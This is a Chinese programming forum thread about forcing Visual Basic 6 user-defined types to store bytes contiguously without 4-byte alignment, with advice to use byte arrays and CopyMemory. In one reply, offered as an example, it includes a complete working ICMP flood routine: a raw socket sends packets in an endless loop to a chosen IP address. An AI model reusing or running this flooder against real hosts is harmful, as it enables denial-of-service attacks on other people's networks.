Public Type PCM_Main_Simple 
    bBattery    As Byte     
    mTime(1)       As Byte
    sngTestResult   As Single   
    bAlarm      As Byte     
    arrReserve(4) As Byte   
End Type怎么试结构连续存放?谢谢

解决方案 »

  1.   

    http://community.csdn.net/Expert/TopicView3.asp?id=3987148跟这个问题一样定义用户数据类型:
    Private Type udtFileOperation
    Tag As Long ' 消息有效性标记
    Command As Long ' 命令码
    Filename(260) As Byte ' 文件名
    FileSizeLow As Long ' 文件大小(低字节)
    FileSizeHigh As Long ' 文件大小(高字节)
    End Type
    在Filename和FileSizeLow之间,由于VB自动按4字节对齐,它们之间会被插入几个字节的内容,
    导致它们在内存中不是连续存放的,这在向VC等其他工具开发的软件传递数据时造成了一些麻烦。
    如何解决这样的问题?VB能像C++的#pragma pack(1)那样修改字节对齐方式吗?
      

  2.   

    可否给个例子比如我的数据是从 网络发送过来一字节对齐的结构?可是VB的默认是 4字节对齐,如果结构中的 Byte不是4的倍数,则出现不连续存放
    使用 CopyMemory,或 MoveMemory 函数则出现数据错位?请问使用 GlobalAlloc 时 ,怎么将 接收的数据拷贝给 VB的结构?
     
    怎么在 GlobalAlloc分配的内存中 声明变量?
      

  3.   

    好像 GlobalAlloc 不能解决 字节对齐的问题?
      

  4.   

    用GlobalAlloc分配一块内存,然后用movememory依次往里扔就行了
    看你的情况给你一个Flooder的例子,不知对你有否帮助
    Private Const AF_INET = 2
    Private Const IPPROTO_ICMP = 1
    Private Const IPPROTO_RAW = 255
    Private Const SOCK_RAW = 3
    ''常量Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription As String * 256
    szSystemStatus As String * 128
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
    End TypePrivate Type sockaddr
    sin_family As Integer
    sin_port As Integer
    sin_addr As Long
    sin_zero(0 To 7) As Byte
    End TypePrivate Type ICMPHeader
    i_type As Byte
    i_code As Byte
    i_cksum As Integer
    i_id As Integer
    i_seq As Integer
    timestamp As Long
    End Type
    ''结构Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVR As Long, lpWSAD As WSADATA) As Long
    Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
    Private Declare Function sendto Lib "wsock32.dll" (ByVal socket As Long, ByVal packet As Long, ByVal packetLen As Long, ByVal flags As Long, ByVal to_addr As Long, ByVal tolen As Long) As Long
    Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Integer) As Integer
    Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
    Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Long
    Private Declare Function inet_addr Lib "wsock32.dll" (ByVal cp As String) As Long
    Private Declare Function GetTickCount Lib "kernel32" () As Long
    ''API声明Sub ICMPFlood(Desc As String, iType As Integer, iCode As Integer, IcmpLen As Long) ''把Flood封装成一个过程
    Dim Sock As Long
    Dim remoteIP As sockaddr
    Dim addrAddr As Long, addrLen As Long
    Dim retCode As Long
    Dim icmp_header As ICMPHeaderDim Wsad As WSADATAIf WSAStartup(&H101, Wsad) <> 0 Then ''一开始要启动WinSock
    MsgBox "无法启动WinSock!", vbCritical
    Exit Sub
    End IfSock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) ''创建一个原始ICMP报文的套接字If Sock = -1 Then MsgBox "错误:无法建立套接字!", vbCritical, "AnGryPing by H.B.U": Exit SubaddrAddr = VarPtr(remoteIP) ''取sockaddr的指针
    addrLen = LenB(remoteIP) ''按字节的长度来获取remoteIP.sin_family = AF_INET ''Sock类型
    remoteIP.sin_port = 0 ''端口,ICMP不需要
    remoteIP.sin_addr = inet_addr(Desc) ''目标IPicmp_header.i_type = iType
    icmp_header.i_code = iCode
    icmp_header.i_cksum = 0
    icmp_header.i_id = 2
    icmp_header.timestamp = GetTickCount
    icmp_header.i_seq = 999
    ''这里填充ICMP头部While retCode <> -1 ''循环发送
    retCode = sendto(Sock, VarPtr(icmp_header), IcmpLen, 0, addrAddr, addrLen) 
    ''注意看,我声明的sendto不是一般的结构,最后两个参数没有用sockaddr_in而是Long,这是为了VarPtr
    DoEvents ''稍微延时免得程序死掉
    Wendclosesocket (Sock)
    WSACleanup
    End Sub
      

  5.   

    一直很忙,昨晚试了一下,还是可以的,只是你在VB里面定义结构的时候,要对结构稍作修改!
    Private Type udtFileOperation
        Tag(3) As Byte ' 消息有效性标记
        Command(3) As Byte  ' 命令码
        Filename(260) As Byte ' 文件名
        FileSizeLow(3) As Byte  ' 文件大小(低字节)
        FileSizeHigh(3) As Byte  ' 文件大小(高字节)
    End Type你用的时候
    dim tempuFO as udtFileOperation
    dim temp as Long
    CopyMemory Byval varPtr(temp),a.FileSizeLow(0),4这个时候,temp的值就是你FileSizeLow的值了
    当保证所有类型都为Byte的时候,就不存在四字节的问题了,
    需要得到相应值的时候,对准数组首地址进行copymemory就行了